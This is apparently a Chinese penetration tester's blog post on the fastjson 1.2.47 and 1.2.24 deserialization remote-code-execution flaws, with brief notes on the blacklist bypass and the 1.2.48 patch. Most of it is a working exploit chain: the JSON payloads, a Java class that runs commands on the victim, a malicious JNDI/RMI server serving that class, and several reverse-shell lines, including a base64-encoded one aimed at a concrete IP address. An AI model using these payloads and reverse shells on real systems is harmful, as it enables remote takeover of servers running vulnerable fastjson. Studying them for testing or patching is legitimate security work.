凡心所向,素履所往

fastjson 1.2.47 rce

字数统计: 1.2k阅读时长: 5 min
2019/07/18 Share

[TOC]

fastjson 1.2.47 rce

在渗透测试中 发现了fastjson的有漏洞的版本,
-w682

想着尝试下

危害

恶意攻击者可以构造攻击请求绕过FastJSON的黑名单策略。例如,攻击者通过精心构造的请求,远程让服务端执行指定命令

对应payload

{
    "name": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "x": {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:port/Exploit",
        "autoCommit": true
    }
}

-w497

-w1093

此处简单测试了利用该命令漏洞会去请求exploit。
这个漏洞的利用方式跟18年的fastjson反序列化漏洞比较类似,这里先看下18年的fastjson漏洞,跟着分析下

FastJson-JdbcRowSetImpl

搭建漏洞环境

根据FastJson-JdbcRowSetImpl搭建该漏洞环境,进行测试, 该漏洞环境
-w908

开启http服务

Python3 -m http.server 80

生成Payload

java -jar FastJson_JdbcRowSetImpl_JNDI_RMIServer.jar <HTTP服务地址> 指定RMI端口

触发

-w1197

poc 如下
-w756

import    java.lang.Runtime;
import    java.lang.Process;
public class CommandObject {
    public CommandObject(){
        try{
            Runtime    rt    =    Runtime.getRuntime();
            //Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/8550 0>&1");
            //String[] commands = {"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMjQuMTQ2LjIwNC84NTUwIDA+JjE=}|{base64,-d}|{bash,-i}"};

            String[] commands = {"ping","xxxx.ceye.io"};
            Process    pc = rt.exec(commands);
            System.out.println("11111");
            pc.waitFor();
        }catch(Exception e){
            e.printStackTrace();
            System.out.println("2222");
        }
    }
    public static void main(String[] argv){
        CommandObject e = new CommandObject();
    }
}

-w1156

反弹shell 测试

String[] commands = {"bash -i >& /dev/tcp/ip/8550 0>&1"};

将此处直接修改为该命令,发现结果不行,直接运行该commandobject程序
-w1112
结果发现是zsh 不支持,切换个,网上一堆用如下java反弹shell的写法,结果发现在1.8的jdk,一直不符合格式

String[] commands = ["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[];

修改后如下,可以反弹shell,还有其他方式暂时未试,详情看使用java反弹shell


import    java.lang.Runtime;
import    java.lang.Process;
public class fastjson {
    public fastjson(){
        try{
            Runtime    rt    =    Runtime.getRuntime();
                       //String[] commands = {"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMjQuMTQ2LjIwNC84NTUwIDA+JjE=}|{base64,-d}|{bash,-i}"};
            //String[] commands = {"/bin/bash", "-c", "'/bin/bash -i >& /dev/tcp/118.24.146.204/8550 0>&1'"};
            Process    pc = rt.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
            //System.out.println(commands[0]);
            pc.waitFor();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        fastjson e = new fastjson();
    }
}

-w1006

漏洞分析

根据分析,这次遇到的fastjson漏洞不是最近1.2.47版本的,而是之前1.2.24
此处反编译的
FastJson_JdbcRowSetImpl_JNDI_RMIServer如下
创建rmi(java 本身的rpc框架)


import cn.com.topsec.fastjson.FastJson_JdbcRowSetImpl_JNDI_RMIServer;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.NamingException;
import javax.naming.Reference;


public class FastJson_JdbcRowSetImpl_JNDI_RMIServer
{
  public static void start(String httpServer, int rmiPort, String hostName) throws AlreadyBoundException, RemoteException, NamingException {
    System.out.println("* Open JNDI-RMI Listener on " + rmiPort);
    System.out.println("\n [*] HTTPSERVER = " + httpServer);
    System.out.println(" [*] RMIPORT = " + rmiPort);
System.setProperty("java.rmi.server.hostname", hostName);
    Registry registry = LocateRegistry.createRegistry(rmiPort);
    Reference reference = new Reference("CommandObject", "CommandObject", httpServer);
    ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
    registry.bind("Object", referenceWrapper);
  }

  public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
    String httpServer = args[0];
    int rmiPort = Integer.parseInt(args[1]);

    String[] httpServerHost = httpServer.split(":");

    String hostName = httpServerHost[0];

    httpServer = "http://" + httpServer + "/";

    start(httpServer, rmiPort, hostName);
    System.out.println("\n [*] Payload���");

    System.out.println(" [+] {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://" + httpServerHost[0] + ":" + rmiPort + "/Object\",\"autoCommit\":true}");
    System.out.println("\n [*] enjoy���");
  }
}

创建RMI Server

package com.luckyqiao.rmi;

import java.io.IOException;
import java.rmi.AlreadyBoundException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {

    public static void main(String[] args) {

        RemoteHello remoteHello = new RemoteHelloImpl();
        try {
            RemoteHello stub = (RemoteHello) UnicastRemoteObject.exportObject(remoteHello, 4000); //导出服务,使用4000端口
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8000); //获取Registry
            registry.bind("hello", stub); //使用名字hello,将服务注册到Registry
        } catch (AlreadyBoundException | IOException e) {
            e.printStackTrace();
        }

    }
}

参照sky 的rmi server 进行修改如下


import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author sky
 */
public class rmiserver {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("CommandObject",
                "CommandObject","http://localhost:80/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }

}

-w1227

整理下 利用方式
【1】首先准备一个 RMI Server
【2】开启对应的httpserver
【3】CommandObject.class 执行文件
【4】利用poc

1.2.47 与1.2.24的区别

在该漏洞情况下 poc与1.2.47 稍有区别
1.2.24 poc如下

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:389/obj","autoCommit":true}

根据poc来看 是进行了黑名单的绕过,在1.2.24的漏洞情况下,将”com.sun.rowset.JdbcRowSetImpl”进行了黑名单的处理,但在1.2.47中又给绕过了

{
    "name": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "x": {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:port/Exploit",
        "autoCommit": true
    }
}

绕过分析-待续

fastjson黑名单

在1.2.48的补丁中将 “java.lang.Class”给进行拉黑处理了
-w748

参考

fastjson-blacklist
FastJson-JdbcRowSetImpl
使用java反弹shell
fastjson =< 1.2.47 反序列化漏洞浅析

CATALOG
  1. 1. fastjson 1.2.47 rce
    1. 1.1. 危害
    2. 1.2. 对应payload
    3. 1.3. FastJson-JdbcRowSetImpl
      1. 1.3.1. 搭建漏洞环境
        1. 1.3.1.1. 开启http服务
        2. 1.3.1.2. 生成Payload
        3. 1.3.1.3. 触发
        4. 1.3.1.4. 反弹shell 测试
    4. 1.4. 漏洞分析
      1. 1.4.1. 创建RMI Server
      2. 1.4.2. 1.2.47 与1.2.24的区别
      3. 1.4.3. 绕过分析-待续
    5. 1.5. fastjson黑名单
  2. 2. 参考